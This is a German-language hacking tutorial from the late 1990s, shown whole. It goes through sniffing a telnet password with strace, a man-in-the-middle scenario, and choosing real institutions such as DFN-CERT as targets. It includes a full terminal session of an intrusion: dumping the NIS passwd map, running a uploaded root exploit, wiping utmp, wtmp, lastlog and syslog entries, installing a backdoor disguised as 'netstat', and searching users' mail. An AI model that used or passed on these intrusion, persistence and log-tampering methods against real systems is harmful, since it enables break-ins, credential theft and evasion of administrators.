< socket(PF_INET, STREAM, IPPROTO_IP) = 3 < [pid 772]: connect(3, AF_INET(23, 10.0.0.1), 16) = 0Der Socket wird erzeugt und die Verbindung (IP Adresse und Port sind gut sichtbar) wird aufgebaut.
< [pid 772]: write(1, "Connected to doo.the-haze.org.\n", 32) = 32 < [pid 772]: write(1, "Escape character is '^]'.\n", 26) = 26Der uebliche telnet-Kram wird dem User angezeigt.
< [pid 772]: recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49 < [pid 772]: write(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46Das Welcome-Banner des Remote Hosts wird empfangen und an den User weitergegeben.
< [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0) = 15 < [pid 772]: write(1, "\r\ndoo login: ", 13) = 13Die Login-Aufforderung.
< [pid 772]: read(0, "t", 1024) = 1 < [pid 772]: send(3, "t", 1, 0) = 1 < [pid 772]: recv(3, "t", 1024, 0) = 1 < [pid 772]: write(1, "t", 1) = 1Der ertse Buchstabe des Loginnamens wird eingelesen (´read(..)´), and den fernen Rechner gesendet (´send(..)´), das Echo empfangen (´recv(..)´) und zu dem User gegeben (´write(..)´).
< [pid 772]: read(0, "i", 1024) = 1 < [pid 772]: send(3, "i", 1, 0) = 1 < [pid 772]: recv(3, "i", 1024, 0) = 1 < [pid 772]: write(1, "i", 1) = 1 < [pid 772]: read(0, "c", 1024) = 1 < [pid 772]: send(3, "c", 1, 0) = 1 < [pid 772]: recv(3, "c", 1024, 0) = 1 < [pid 772]: write(1, "c", 1) = 1 < [pid 772]: read(0, "k", 1024) = 1 < [pid 772]: send(3, "k", 1, 0) = 1 < [pid 772]: recv(3, "k", 1024, 0) = 1 < [pid 772]: write(1, "k", 1) = 1 < [pid 772]: read(0, "\r", 1024) = 1 < [pid 772]: send(3, "\r\0", 2, 0) = 2Der Loginname ist "docx".
< [pid 772]: recv(3, "\r\nPassword: ", 1024, 0) = 12 < [pid 772]: write(1, "\r\nPassword: ", 12) = 12Der Passwort-Prompt.
< [pid 772]: read(0, "T", 1024) = 1 < [pid 772]: send(3, "T", 1, 0) = 1Zum Einlesen des Passwortes sind nur ´read(..)´ und ´send(..)´ noetig, da es bei Unix Maschinen ueblich ist das Passwort verdeckt einzulesen.
< [pid 772]: read(0, "E", 1024) = 1 < [pid 772]: send(3, "E", 1, 0) = 1 < [pid 772]: read(0, "S", 1024) = 1 < [pid 772]: send(3, "S", 1, 0) = 1 < [pid 772]: read(0, "T", 1024) = 1 < [pid 772]: send(3, "T", 1, 0) = 1 < [pid 772]: read(0, "S", 1024) = 1 < [pid 772]: send(3, "S", 1, 0) = 1 < [pid 772]: read(0, "T", 1024) = 1 < [pid 772]: send(3, "T", 1, 0) = 1 < [pid 772]: read(0, "R", 1024) = 1 < [pid 772]: send(3, "R", 1, 0) = 1 < [pid 772]: read(0, "A", 1024) = 1 < [pid 772]: send(3, "A", 1, 0) = 1 < [pid 772]: read(0, "C", 1024) = 1 < [pid 772]: send(3, "C", 1, 0) = 1 < [pid 772]: read(0, "E", 1024) = 1 < [pid 772]: send(3, "E", 1, 0) = 1 < [pid 772]: read(0, "\r", 1024) = 1 < [pid 772]: send(3, "\r\0", 2, 0) = 2 < [pid 772]: recv(3, "\r\0\r\n", 1024, 0) = 4 < [pid 772]: write(1, "\r\r\n", 3) = 3Sein Passwort ist "TESTSTRACE".
< [pid 772]: recv(3, "Last login: Mon Sep 22 15:58:52 ".., 1024, 0) = 48 < [pid 772]: write(1, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48Die Lastlogin-Message, das Einloggen war also erfolgreich. Was wollen wir mehr?
Kommen wir nun zur MIM Attack.
Eine MIM Attack haengt stark von dem Protokol fuer den Schluesselaustausch,
von der zugrundeliegenden Netzwerkarchitektur, vom Routing und so weiter
ab.
Ich werde mal ein kleines Szenario darstellen bei dem ein asymmetrischer
(Public-Key) Kryptoalgorithmus verwendet wird. Die technischen Feinheiten
sollen uns hier mal nicht interessieren.
Nehmen wir an, dass sich ein BKA Beamter (Harald) mit einem BSI Angestellten
(Jochen) ueber die neusten Entwicklungen von und in der EMPIRE-Crew
unterhalten will. ;)
Zur Kommunikation benutzen sie ein Art talk, bei dem die Daten
encrypted ueber ein Computernetzwerk gehen.
Desweiteren ist es ihre erste Kommunikation, sodass sie erst noch ihre
Public-Keys austauschen muessen.
Unser Angreifer (DocX) sitz irgendwo zwischen den beiden. Nein, nicht
'irgendwo'... er muss sich einen Platz aussuchen, den die Pakete auf jedem
Fall passieren muessen (z.B. ein Router), oder er klinkt sich direkt ins
Netzwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone Betreiber
oder im lokalen Netz von Jochen oder Harald) hat, oder er manipuliert denDNS
Tree, oder veraendert das Routing mit Hilfe von RIP... oder,
oder, oder. Der Angreifer muss in der Lage sein Pakete abfangen, veraendern
und weitersenden zu koennen; die original Pakete duerfen nicht den jeweiligen
Kommunikationspartner erreichen.
So. Lasst das Spiel beginnen!
Ich moechte noch kurz auf eine andere Art von Attacke eingehen, die
z.B. bei SecureShell funktioniert.
Undzwar wenn der Public-Key einer Client -> Server Verbindung bekannt
ist, dann kann ein Angreifer mit diesem Key eigene Pakete verschluesseln
und in den Stream einfuehgen. Somit ist es z.B. moeglich Befehle an eine
Shell zu schicken.
Um ehrlich zu sein werden die meisten Hacks mit Hilfe von Remote-Exploits und Sniffern gemacht.
Abundzu solltest du auch 'n paar Hacker-Mags lesen... leider sind die meisten echter Schrott, was ich dir empfehlen koennte ist Phrack , THC-Mag ... naja, und vielleicht noch das TFC-Mag.
Ach ja, es gibt da noch eine Methode... haette's fast vergessen. Ich nenne sie "Verwundbarkeit aufgrund von Beziehungen"... naja. Ok, nehmen wir mal an, du willst das DFN-CERT hacken, kommst aber nicht rein weil die ihre Rechner natuerlich gut gesichert haben. Nun musst du ein paar Ueberlegungen ueber die Beziehungen des CERT zu anderen Domains machen. Hier ein Bsp. ('-' Ueberlegung und '->' Folgerung):
- das CERT hat eine Subdomain im Netz des DFNs (Deutsches Forschungs Netz) -> Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY, die Frauenhofer Gesellschaft, der GMD et cetera Sniffer installieren und/oder gecrackte Accounts beim DFN testen. - das DFN-CERT liegt in Hamburg -> Somit besteht eine Beziehung zur Uni/FH Hamburg d.h. wenn du die Uni/FH Hamburg hackst kannst du einen Sniffer auf die DFN(-CERT)-Domain ansetzen (und um ehrlich zu sein wird das DFN-CERT auch von Prof.s der Uni-HH geleitet (z.B.: Wolfgang Ley)) -> Das DESY ist ebenfalls in HH! Hiermit besteht schon eine doppelte Bez. zum DESY... also es lohnt sich hier mal vorbei zu sehen. ;) - und noch ein paar Kleinigkeiten mehr...

Zu diesem Thema werde ich nicht viel sagen, ausser, dass du How to cover your tracks von van Hauser/THC lesen solltest. Ich kann nur noch hinzufuegen:

Naja, das Bild ist mir etwas zu schwarz-weiss (und das hat nichts mit
der Farbe zu tun).
In meinen Augen vereinigt ein Hacker beide "Personen" (No Risk No Fun).
Ein paar Regeln solltest du immer im Hinterkopf behalten:
Ich liste mal ein paar Dinge auf, die du als Grundlage zur Entwickelung von eigenen Exploits benoetigst.
source > finger @victim.domain.com
[]
Welcome to Linux version 2.0.33 at victim.domain.com !
6:21pm up 6:10h, 0 users, load average: 0.28, 0.11, 0.10
No one logged in.
source >
So ka, es scheint keiner eingeloggt zu sein, aber wir werden es auf dem Rechner noch genauer ueberpruefen.
source > telnet
telnet > o victim.domain.com
Trying 10.255.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 2.0.33 (victim.domain.com) (ttyp4)
victim login: johnny
Password:
Have a lot of fun...
Last login: Wed Jun 17 19:16:07 on tty3.
No mail.
Vielleicht hast du dich gefragt warum wir telnet
interaktiv benutzen, nungut, der Grund ist einfach: damit
verhindern wir, dass der Zielrechner in der Prozessliste auftaucht.
victim:/home/johnny > rlogin victim
Password:
Have a lot of fun...
Last login: Wed Jun 17 19:16:07 on ttyp4 from
source.ass.com.
No mail
victim:/home/johnny > exit
rlogin: connection closed.
victim:/home/johnny > csh -f
victim % ls -altr
[...]
-rw------- 1 test
users 450 Jul 6 11:38
.bash_history
victim % unset HISTILE
victim % rm .bash_history
Ja, alles was wir hier gemacht haben ist unsere
Spuren etwas zu verschleiern und das ohne ´root´-Rechte.
Durch rlogin (telnet geht natuerlich
auch) koennen wir unseren Lastlog-Entry ueberschreiben und was absolut
wichtig ist, ist dass das History-File geloescht
wird; und um kein neues File zu erzeugen rufen wir die csh auf,
die
per default kein History-File erstellt (wenn
der User die csh benutzt kannst du auch die Bourne-Shell sh
verwenden, aber vorsicht, denn unter Linux z.B. ist /bin/sh ein
Link
auf
/bin/bash).
Das History-File musst du unbedingt am Anfang
deiner Sitzung loeschen, denn wenn der Admin dich bemerkt und
einen Hard-Link auf das File macht, dann
bleiben die Daten auf der HD erhalten und der Admin kann ueber den Hard-Link
darauf zugreifen.
Falls login SUID root installiert ist,
hast du die Moeglichkeit auch dein ´utmp[x]´-Entry zu ueberschreiben,
dazu rufst du einfach login auf und
loggst dich ein.
victim % w
6:54pm up 6:43h,
1 users, load average: 0.08, 0.09, 0.08
USER TTY
LOGIN@ IDLE JCPU PCPU WHAT
johnny ttyp4
6:35pm 0:01
0:00 0:00
w
victim % ps au
USER PID %CPU %MEM VSZ
RSS TT STAT START TIME COMMAND
root 144
0.0 0.1
800 24 1
S 12:12
0:00 mingetty
root 145
0.0 0.0
800 8
2 S
12:12 0:00
mingetty
root 146
0.0 0.1
800 28 3
S 12:12
0:00 mingetty
root 147
0.0 0.0
800 0
4 SW 12:12
0:00 mingetty
root 148
0.0 0.0
800 0
5 SW 12:12
0:00 mingetty
root 149
0.0 0.0
800 0
6 SW 12:12
0:00 mingetty
johnny 1641 0.0
4.6 1748 1064 p4
S 18:35
0:00 -bash
johnny 1691 0.0
1.7 928 408
p4 R
18:57 0:00
ps au
Hier ueberpruefen wir nochmal genau ob nicht doch
ein Admin eingeloggt ist, der fingerd modifiziert oder seine
Eintraege aus ´w/utmp[x]´ geloescht
hat. Wie es aussieht ist 'johnny' der einzige User, der online ist.
victim % domainname
korn.domain.nis
victim % ypwhich
chi
victim % ypcat ypservers
chi
fieldy
So, als erstes holen wir uns Infos ueber deren
NIS. Den NIS-Domainname und den NIS-Server koennen wir spaeter
benutzen um diverse NIS-Maps zu transferieren;
z.B. die Passwd-Map nachdem wir rausgeflogen sind.
NIS ist fast zu 100% in den Domains installiert.
Nur wenige benutzen rdist, NIS+ oder DCE.
victim% uname -a
Linux wallace 2.0.33 #4 Sun Jul 6 11:43:22 MEST
1998 686 unknown
victim % ypcat passwd
proj:FbxcM/NyIxf7w:501:100:Project Account:/home/proj:/bin/bash
test:x:502:100:Test Account:/home/test:/bin/bash
[...]
victim % cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
victim % ypcat group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:
tty:x:5:
[...]
victim % cat /etc/group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:
tty:x:5:
[...]
victim % ypcat hosts
127.0.0.1
localhost
[...]
victim % cat /etc/hosts
127.0.0.1
localhost
[...]
victim % cat /etc/syslog.conf
# /etc/syslog.conf - Configuration file for syslogd(8)
#
# For info about the format of this file, see
"man syslog.conf".
#
#
#
# print most on tty10
kern.warn;*.err;authpriv.none /dev/tty10
*.emerg
*
[...]
victim % cat /etc/inetd.conf
# See "man 8 inetd" for more information.
#
# If you make changes to this file, either reboot
your machine or send the
# inetd a HUP signal:
# Do a "ps x" as root and look up the pid of
inetd. Then do a
# "kill -HUP <pid of inetd>".
# The inetd will re-read this file whenever it
gets that signal.
#
# <service_name> <sock_type> <proto>
<flags> <user> <server_path> <args>
#
# echo stream tcp
nowait root internal
# echo dgram udp
wait root internal
# discard
stream tcp nowait root
internal
# discard
dgram udp wait root
internal
# daytime
stream tcp nowait root
internal
# daytime
dgram udp wait root
internal
# chargen
stream tcp nowait root
internal
# chargen
dgram udp wait root
internal
# time stream tcp
nowait root internal
# time dgram udp
wait root internal
[...]
Jetzt haben wir alle Informationen die wir benoetigen um die Log-Verwaltung
zu analysieren und um unseren
Zugriff zu festigen/wiederzuerlangen.
victim % mkdir /tmp/".. "
victim % cd /tmp/".. "
victim % uudecode
begin 644 mexpl.gz
M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)
M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C
M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@
M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@
M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I
M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO
M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@
M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R
[...]
victim % ls -altr
drwxr-xr-x 2 johnny users
1024 Jul 6 11:39 .
drwxrwxrwt 7 root
root 1024 Jul 6 11:39
..
-rw-r--r-- 1 johnny users
2345 Jul 5 11:41 mexpl.gz
victim % gunzip *.gz
victim % chmod u+x mexpl
victim % mexpl
bash# whoami
root
bash# unset HISTFILE
bash# rm ~/.bash_history
Als erstes haben wir ein Arbeitsdirec. eingerichtet
und anschliessend wurde das Binary eines mount-Exploits,
welches zuvor uuencode'd wurde, uebertragen.
Das Transferieren des Images ist recht simpel
(Verwendung eines Terminalprog.s, keine PPP/IP Verbindung)
needle > uuencode mexpl.gz mexpl.gz > /dev/modem
Nur fuer den Fall, dass ich - aus welchen Gruenden
auch immer - den Compiler einses Systems nicht benutzen kann,
sammel ich von meinen Hackertools und Exploits
die Binaries der verschiedenen Plattformen um sie wie oben
gezeigt zu uebertragen.
Speziell fuer diese Aufgabe habe ich einen Menuepunkt
(F2) in meinen MidnightCommander eingerichtet.
bash# uudecode
begin 644 tools.tar.gz
M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)
M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C
M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@
M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@
M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I
M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO
M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@
M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R
M0V]N<V]L92<@86YD("=#;VQO<DUO;FET;W(G(&%R92!B;W1H($].+"!;54E4
M>'AX+4-O;&]R70HC(&1E<V-R:7!T:6]N<R!W:6QL(&)E('5S960N"B,@("T@
M268@>6]U(&%R92!W;W)K:6YG(&]N(&$@3&EN=7@@<WES=&5M(&)U="!Y;W4@
[...]
bash# tar xvzf tools.tar.gz
searcher
smeagol_v4.4.4.tar
clear13b.c
su-trojan
linsniffer.c
srm.c
ifconfig
fix
bash# gcc -o cb clear13b.c
bash# ./cb johnny
wtmp ... utmp ... lastlog ... Done!
Last entry cleared from user johnny
bash# w
3:28pm up 4:33h, 0 users,
load average: 0.42, 0.15, 0.04
USER TTY
LOGIN@ IDLE JCPU PCPU WHAT
bash#
Boing!... Mit clear13b haben wir unsere aktuellen Eintraege aus
´w/utmp[x]´ und ´lastlog´ entfernt. Du solltest
darauf
aufpassen, dass dein Logcleaner keine Loecher in den Dateien, d.h.
die Eintraege einfach mit '0' ueberschreibt, hinterlaesst, denn die koennen
leicht von Programmen des CERT's entdeckt werden.
Auf Process-Accounting musst du auch acht geben, denn dadurch
kann der Admin entdecken welche Programme du ausgefuehrt hast. Auch wenn
die Programme nicht ungewoehnlich aussehen sollten ist es immer noch sehr
auffaellig, wenn ein User, der keine Eintraege in den regulaeren Logfiles
besitzt, ein Programm aufgerufen hat.
Zum Glueck wird Process-Accounting nur selten benutzt, da das
Logfile sehr schnell waechst. Das Logfile heisst ´acct´ oder
´pacct´ und befindet sich mit den anderen Logfiles im selben
Direc..
Auf besonders schnellen/grossen Rechnern (Cray) ist das Process-Accounting
fast immer aktiv, da hier die User fuer ihre Rechenzeit bezahlen muessen.
bash# cd /var/log
bash# ls -altr
total 838
drwxr-xr-x 20 root
root 1024 May 28 19:58
..
-rw-r----- 1 root
root
0 May 28 21:01 news
-rw-r--r-- 1 root
root 199 May 28 21:12
httpd.error_log
-rw-r--r-- 1 root
root
0 May 28 21:14 httpd.access_log
-rw-r--r-- 1 root
root 3925 May 28 21:53
Config.bootup
drwxr-xr-x 2 root
root 1024 Jun 14 11:29
.
-rw-r--r-- 1 root
root 1871 Jul 7 09:04
boot.msg
-rw-r----- 1 root
root 519707 Jul 7 09:04 warn
-rw-r----- 1 root
root 15842 Jul 7 09:04
mail
-rw------- 1 root
root 24 Jul
7 13:42 faillog
-rw-r--r-- 1 root
root 16096 Jul 7 13:42
lastlog
-rw-r--r-- 1 root
root 92454 Jul 7 13:42
messages
-rw-rw-r-- 1 root
tty 207984 Jul 7 13:42
wtmp
bash# grep source.ass *
messages: Jul 7 13:42:39 wallace in.telnetd[401]:
connect from source.ass.com
bash# fuser messages
messages:
85
bash# ps aux 85
USER PID %CPU
%MEM VSZ RSS TT STAT START
TIME COMMAND
root
85 0.0
0.8 836
196 ? S
09:04 0:00 /usr/sbin/syslogd
bash# grep in.rlogind *
messages: Jul 7 13:41:56 wallace in.rlogind[384]:
connect from johnny@victim.domain.com
bash# grep -v source.ass.com messages > m
bash# grep -v "Jul 7 13:41:56" m > messages
bash# cat /dev/zero > m
^C
bash# rm m
bash# ls -altr
total 838
drwxr-xr-x 20 root
root 1024 May 28 19:58
..
-rw-r----- 1 root
root
0 May 28 21:01 news
-rw-r--r-- 1 root
root 199 May 28 21:12
httpd.error_log
-rw-r--r-- 1 root
root
0 May 28 21:14 httpd.access_log
-rw-r--r-- 1 root
root 3925 May 28 21:53
Config.bootup
drwxr-xr-x 2 root
root 1024 Jun 14 11:29
.
-rw-r--r-- 1 root
root 1871 Jul 7 09:04
boot.msg
-rw-r----- 1 root
root 519707 Jul 7 09:04 warn
-rw-r----- 1 root
root 15842 Jul 7 09:04
mail
-rw------- 1 root
root 24 Jul
7 13:42 faillog
-rw-r--r-- 1 root
root 16096 Jul 7 13:42
lastlog
-rw-rw-r-- 1 root
tty 207984 Jul 7 13:42
wtmp
-rw-r--r-- 1 root
root 92502 Jul 7 13:49
messages
Hier haben wir uns die Syslog-Files nochmal genauer
angesehen und unsere Spuren verwischt.
Mit fuser kannst du unter anderem die
PID des Processes feststellen, welcher ein bestimmte Datei benutzt.
In diesem Fall gehoert, wie zu erwarten, die
PID 85 zu syslogd. Wir benoetigen die PID um syslogd das
HUP-Signal zu senden, welches syslogd veranlasst die Logfiles neu
zu oeffnen. Dies ist noetig, weil syslogd sonst einen Inode benutzt
zu dem es kein File mehr, in unserem Fall ´messages´, im Verz.
´/var/log´ existiert.
Das Dumme an der Sache ist nur, dass syslogd
eine Restart-Message in die Logfiles schreibt.
Jetzt fragst du dich sicherlich: "Warum erzaehlt
der Typ mir den ganzen Gammel und macht es dann selbst nicht?"
Die Antwort ist einfach: Wir erzeugen keinen
neuen Inode indem wir die Datem kopieren und nicht moven. Damit
vermeiden wir zusaetzlich die Restart-Message.
Wenn syslogd wichtige Logs zur Console
oder zu einem TTY schreibt (s. ´/etc/syslog.conf´), dann kannst
du mit:
bash# yes " " > /dev/console
^C
den Bildschirm loeschen.
Wenn Logs auf einem Printer ausgedruckt
werden, dann sieht's relativ schlecht aus. Entweder hoffst du, dass das
Papier/das Farbband leer war oder, dass der Admin es nicht sieht. ;)
Es ist mit einiger Wahrscheinlichkeit auch moeglich das Papier um einige
Zeile zurueckzuschieben und deine Entries mehrmals mit anderen Kram zu
ueberschreiben. Ich hab's noch nie ausprobiert und ueberlasse es deiner
Phantasie und deinem Koennen das Problem zu loesen.
Mehr 'Glueck' hat man da schon, wenn die Daten auf einen extra Loghost
gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbindung
benutzen); den du dann natuerlich hacken musst; oder es besser sein laesst,
weil du dadurch nur die Aufmerksamkeit der Admins auf dich ziehst.
Die ganz paranoiden unter euch (was nicht unbedingt schlecht ist) sollten
noch identd ersetzen; der TCP-Wrapper, Firewalls, etc benutzen identd
um den Usernamen auf dem Remote Host zu eruieren.
bash# cd /tmp/".. "
bash# tar xf smeagol_v4.4.4.tar
bash# cd V4.4.4
bash# make
cp smeagol.h.gen smeagol.h
make -f Makefile.gen
make[1]: Entering directory `/tmp/.. /V4.4.4'
cc -c cmds.c
cc -DGENERIC -c remove.c
cc -c stdnet.c error.c
cc -c smeagol.c
cc -c tty-intruder.c
cc -c auth.c
cc -c ah.c
cc -c strhide.c
cc -O2 -o smeagol cmds.o remove.o stdnet.o error.o
smeagol.o tty-intruder.o auth.o ah.o strhide.o
strip smeagol
make[1]: Leaving directory `/tmp/.. /V4.4.4'
bash# mv smeagol "netstat
"
bash# ./netstat*
LOCK<-KEY:
bash# telnet
telnet> o localhost 1524
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hixer
WELCOME
CYBERSPAWN
[/] Simon says: helpme
bye
: close Session
remove <user> :
starts Simple Nomad's LogCleaner
maskas <user> :
mask Process with EUID of <user>
cd <direc>
: make a chdir() call
ttyhij <tty>
: hijack a TTY session
accth
: Start Zhart's Acct Handler (not available)
helpme
: You guessed it...
Smeagol was written by
TICK
[/] Simon says: bye
Bye
Connection closed by foreign host.
bash#
Um uns den Remote-Zugang zum System zu erhalten
benutzen wir einen Backdoor-Server.
Falls ich einen Backdoor-Server verwende benutze
ich meinen eigenen. Smeagol ist sehr gut darin seine Existenz
zu verschleiern aber leider laeuft er bisher nur auf AIX und Linux.
Fuer andere Systeme koennen z.B. simple Perl-Backdoors benutzt werden oder
portiere Smeagol einfach zu 'nem anderen Unix-Derivat und sende mir dann
bitte deine Version.
Es ist sehr wichtig, dass du vor der Installation den genauen Pfad
zu den Logfiles, das Passwort und die richtigen Namen fuer die Daemons,
fuer die sich Smeagol ausgeben soll, angibst. Falls auf dem System das
Process-Accounting
aktiviert
worden ist musst du auch dafuer die entsprechenden Aenderungen im Source-Code
und im Makefile machen.
Zum Aendern der verschluesselten Strings solltest du convert
benutzen. Als XOR-Value (F1) musst du den Default-XOR-Wert angeben, der
als Define in 'strhide.h' verwendet wird. Der Output muss gefixt werden
(F3).
Ich habe Smeagol nach "netstat
" ge'movet um argv[0] gross genug zu machen, damit beim Ueberschreiben
der Process-Tableeintraege nicht die hinteren Buchstaben abgeschnitten
werden, und desweiteren sieht der Aufruf von netstat ungefaehrlicher
aus als der Aufruf von smeagol - spez. beim Proc-Acct.
bash# cd /var/cron/tabs
bash# ls -al
total 3
drwx------ 2 root
root 1024 Jul 25 11:56
./
drwx------ 3 root
root 1024 May 28 20:57
../
-rw------- 1 root
root 258 Jan 25 11:56
root
bash# cat root
# DO NOT EDIT THIS FILE - edit the master and
reinstall.
# (/tmp/crontab.326 installed on Sat Jul 25 11:56:24
1998)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17
03:20:37 vixie Exp $)
#
# run Tripwire at 3.00 pm every day
00 15 * * * (/root/bin/runtw)
bash# cd /root/bin
bash# file runtw
runtw: Bourne shell script text
bash# cat runtw
#!/bin/sh
/bin/mount -r -t ext2 -v /dev/fd0 /fd0/tripwire
|| exit 1
/fd0/tripwire/bin/tripwire
/bin/umount /dev/fd0
exit 0
bash# mount -t ext2 /dev/fd0 /mnt
mount: block device /dev/fd0 is write-protected,
mounting read-only
/dev/fd0 on /mnt type ext2 (ro)
bash# cd /mash# cd /mnt
bash# ls -al
drwx------ 5 root
root 1024 Jul 29
1997 .
drwxr-xr-x 4 root
root 1024 Jul 29
1997 ..
drwx------ 2 root
root 1024 Jul 23 13:40
Config
drwx------ 2 root
root 1024 Jul 23 13:34
Databases
drwx------ 2 root
root 1024 Jul 23 13:57
bin
bash# ls -alR .
total 5
drwx------ 5 root
root 1024 Jul 29 1997 .
drwxr-xr-x 4 root
root 1024 Jul 29
1997 ..
drwx------ 2 root
root 1024 Jul 23 13:40
Config
drwx------ 2 root
root 1024 Jul 23 13:34
Databases
drwx------ 2 root
root 1024 Jul 23 13:57
bin
Config:
total 4
drwx------ 2 root
root 1024 Jul 23 13:40
.
drwx------ 5 root
root 1024 Jul 29
1997 ..
-rw------- 1 root
root 387 Jul 23 13:34
tw.config
-rw------- 1 root
root 387 Jul 23 13:40
tw.config.bak
Databases:
total 2
drwx------ 2 root
root 1024 Jul 23 13:34
.
drwx------ 5 root
root 1024 Jul 29
1997 ..
bin:
total 425
drwx------ 2 root
root 1024 Jul 23 13:57
.
drwx------ 5 root
root 1024 Jul 29
1997 ..
-rwxr-xr-x 1 root
root 128745 Jul 23 13:45 tripwire
-rw-r--r-- 1 root
root 299814 Jul 29 1997 tripwire-1.2.tar.gz
bash# cd Config
bash# cat tw.config
# Check root's binaries
/root/bin
# Check TripWire's Database-, Config- and TAR-File
/fd0/tripwire
# Check System-Files and -Binaries
/etc/passwd
/etc/skel
/etc/aliases
/etc/exports
/etc/fstab
/etc/ftpusers
/etc/group
/etc/hosts
/etc/inetd.conf
/etc/inittab
/etc/lilo.conf
/etc/profile
/etc/sendmail.cf
/etc/sudoers
/etc/syslog.conf
/bin
/usr/bin
/usr/local/bin
bash#
Bevor wir irgendwelche Files ersetzen oder aendern
sollten wir ueberpruefen ob die Admins einen Integry-Checker zum Schutz
vor Trojan-Horses etc. einsetzen. Auf diesem Rechner ist das der Fall.
Grundsaetzlich kann ich nur sagen, dass du niemals so sicherheitsrelevante
Files, wie z.B. '/etc/passwd' oder '/etc/inetd.conf', veraendern solltest;
egal wie clever du vorgehst, die Admins werden es immer entdecken und meistens
eher frueher als spaeter. Dasselbe gilt fuer SUID-Shells. Ich kann auch
nur davon abraten die Tripwire-DB zu manipulieren, was in diesem Fall auch
garnicht moeglich ist, da sich die DB auf 'ner write-protected Floppy befindet.
Natuerlich koenntest du fuer Linux die weit verbreiteten
Loadable-Kernel-Modules (LKMs) verwenden um die Syscalls zu verbiegen,
damit du dein Trojan-Horse in den Kernel verlegst, oder spez. fuer Tripwire,
die Zugriffe auf die geschuetzten Files manipulierst. Ich halte solche
Eingriffe in das System fuer zu Aufwendig und folglich Auffaellig. Was
mir hingegen gefaellt sind gute LKMs, die die Praesenz von bestimmten Dingen,
wie Files, User, LKMs etc, verbergen. Mit soeinem 'Hide-LKM' ist es dann
auch moeglich SUID-Shell im System zu verschtecken.
bash# cd /tmp/".. "
bash# cat > wl.mail
hacker
cracker
intrusion
security
break-in
hack
password
login
account
tripwire
integry
sniffer
cpm
ifconfig
military
.ml
.gov
^C
bash# cat > wl.log
source.ass
johnny
^C
bash# ./searcher -vvv -rnf -m wl.mail -l wl.log
> s.res &
[1] 454
bash#
Searcher sucht nun nach den angegeben Wortern in den E-Mails
der User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich
verschafft es uns weitere Informationen, die uns den Zugang zu anderen
Systemen ermoeglichen koennen.
Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz
bestimmte Sachen suchst, z.B. ueber irgendwelche Forschungs-Projekte, die
sich natuerlich mit Internet-Security & Co. beschaeftigen, oder wenn
du Daten ueber deine Noten im Verwaltungs-Server deiner Uni suchst ;).
Um die Suche etwas zu beschleunigen kannst du dich nur auf ausgewaehlte
Gruppen von Usern beschraenken.
Am besten ist es wenn du Searcher schon frueh startest, da er viel
Zeit benoetigt.
Das Resultat von Searcher's Arbeit kannst du am besten mit 'gzip --best'
komprimieren, mit 'uuencode' ausgeben lassen und nach dem Hack aus deinen
Logs extrahieren um es zu analysieren.
Jetzt ist der richtige Zeitpunkt gekommen um sich um die Admins zu kuemmern.
Du solltest dir von jedem Admin das Home-Direc. angucken, dein Augenmerk
sollte dabei auf das Bin-Direc. und dem History-File fallen. Du wirst mit
Sicherheit weitere Securitytools, wie z.B. cpm (Promiscuous-Mode
Checker), finden, und das History-File gibt dir Auskunft ueber das Verhalten
der Admins, z.B.: auf welchen Rechner sie arbeiten, ob sie das root-Passwort
